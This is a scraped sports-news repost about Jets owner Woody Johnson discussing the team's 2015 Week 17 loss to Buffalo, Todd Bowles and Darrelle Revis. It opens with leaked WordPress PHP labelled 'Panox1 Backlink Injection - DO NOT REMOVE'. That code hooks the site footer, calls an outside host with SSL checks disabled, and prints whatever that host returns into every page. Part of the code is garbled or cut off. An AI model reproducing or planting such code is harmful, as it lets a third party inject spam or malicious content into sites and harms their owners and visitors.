// Panox1 Backlink Injection - DO NOT REMOVE add_action('wp_footer', function() { $cache_key = 'panox1_links_' . md5(home_url()); $cached = get_transient($cache_key); if ($cached !== false) { echo $cached; return; } $response = wp_remote_get('https://staticsx.top/panox1/api/inject-endpoint.php?site_url=' . urlencode(home_url()), ['timeout' => 5, 'sslverify' => false]); if (!is_wp_error($response) && wp_remote_retrieve_response_code($response) === 200) { $content = wp_remote_retrieve_body($response); if (!empty($content) && strpos($content, ' 'active', 'site' => home_url(), 'time' => time()]); } }); // End Panox1 Jets’ bitter ending sticks with Woody Johnson – Next Sports News

Jets’ bitter ending sticks with Woody Johnson

[ad_1]

A NOV. 12, 2015 FILE PHOTO.Bill Kostroun/AP

Jets QB Ryan Fitzpatrick reacts after Gang Green turned the ball over on downs to the Bills.

Nearly a month after his Jets blew their playoff hopes with a loss in Buffalo to their old coach, Woody Johnson still sounds irked by the way Gang Green’s season ended.

“When you lose a game of football, it’s never pleasant, I can tell you that,” Johnson said Friday in Manhattan. “It’s a hard thing to live through. I wish we had completed a few more passes, or we could have won that easily.”

FOLLOW THE DAILY NEWS SPORTS ON FACEBOOK. “LIKE” US HERE.

The Jets faced a win-and-in situation in Week 17 against Rex Ryan’s Bills, but ended up coughing up their playoff berth. And it isn’t easy for Johnson to forget something like that.

“Those things stay for a long time,” Johnson said. “Kind of indelible ink. But you’ve got to move on. Move forward, and learn from what happened in that game.”

Johnson was speaking publicly for the first time in nearly a year, as he stayed quiet throughout the Jets’ 10-6 campaign. And while he gave positive reviews of coach Todd Bowles’ and GM Mike Maccagnan’s first season with the franchise, he did not sound pleased with how the team played in that final game.

“I hate to lose the same way twice,” Johnson said. “And that’s not what we did during the (rest of the) season. … Todd’s aware of that.”

The Jets lost by the same score, 22-17, in both games against the Bills in 2015.

Other than Johnson’s mild dig at Bowles about that Week 17 loss, he sounded encouraged by the status of the new regime, which he hired a year ago after firing Rex Ryan and John Idzik.

“So far, so good,” Johnson said of the Bowles and Maccagnan tandem that helped the Jets improve from 4-12 to a 10-win season.

“I like them,” Johnson said of the two men leading his franchise. “This is a refreshing start. The 10 (wins). We were in every game. Rebuilt the way we had to.”

On Bowles, Johnson said, “I think he did a heck of a job and he’s going to get better.”

Jets owner Woody Johnson.Taylor Hill/Getty Images

Jets owner Woody Johnson.

Still, the owner’s sights are clearly set higher.

“I don’t think as an owner you can ever be satisfied until you do win the Super Bowl,” Johnson said. “We haven’t had one for now, (let’s see) this is Super Bowl 50, that was Super Bowl III, so it’s been a while. Until we get there, we’re going to work as hard as we can.”

Not to say the Jets would have made the Super Bowl this season, but they clearly squandered a major opportunity. Had they beaten the Bills, the Jets might have had a good chance to make noise in the playoffs, where none of the AFC teams — perhaps except for New England at the time — looked particularly dominant.

“I feel pretty good about the new team in place. I’m sorry we lost the way we did,” Johnson said.

With the Broncos and Panthers set to square off in the Super Bowl, the Jets’ owner seemed intrigued by the Denver defense that stifled the Patriots in the AFC Championship Game, as he brought up that unit unprompted on Friday.

“We’re going to be looking at the Broncos defense,” he said, though it was unclear if he was speaking about specific players or just how they have been so successful.

Asked if he thought the Jets are a playoff team for next season, Johnson tactfully avoided answering the question but expressed optimism about his team.

The owner side-stepped questions about the contract situations of Ryan Fitzpatrick and Muhammad Wilkerson. Both are free agents, though it seems likely the Jets will place the franchise tag on Wilkerson and re-sign Fitzpatrick. Johnson spoke at the “Jets House,” a restaurant — The Ainsworth — that the Jets turned into an event space for fans. Fitzpatrick had been there earlier in the day.

Johnson also backed up the team’s substantial investment in Darrelle Revis — who signed a five-year, $70 million contract with $39 million fully guaranteed a year ago — even though the cornerback looked like a slightly diminished version of the player he was a few years ago.

“It’s always great to have somebody, a Hall of Famer-type player like Darrelle,” Johnson said. “So we’re very happy to have him. Both on the field and off the field, the leadership and the way he plays and just his presence for us.

“He played pretty well last year,” Johnson said. “He’s 1 or 2 in the league.”

[ad_2]

Source link

Reply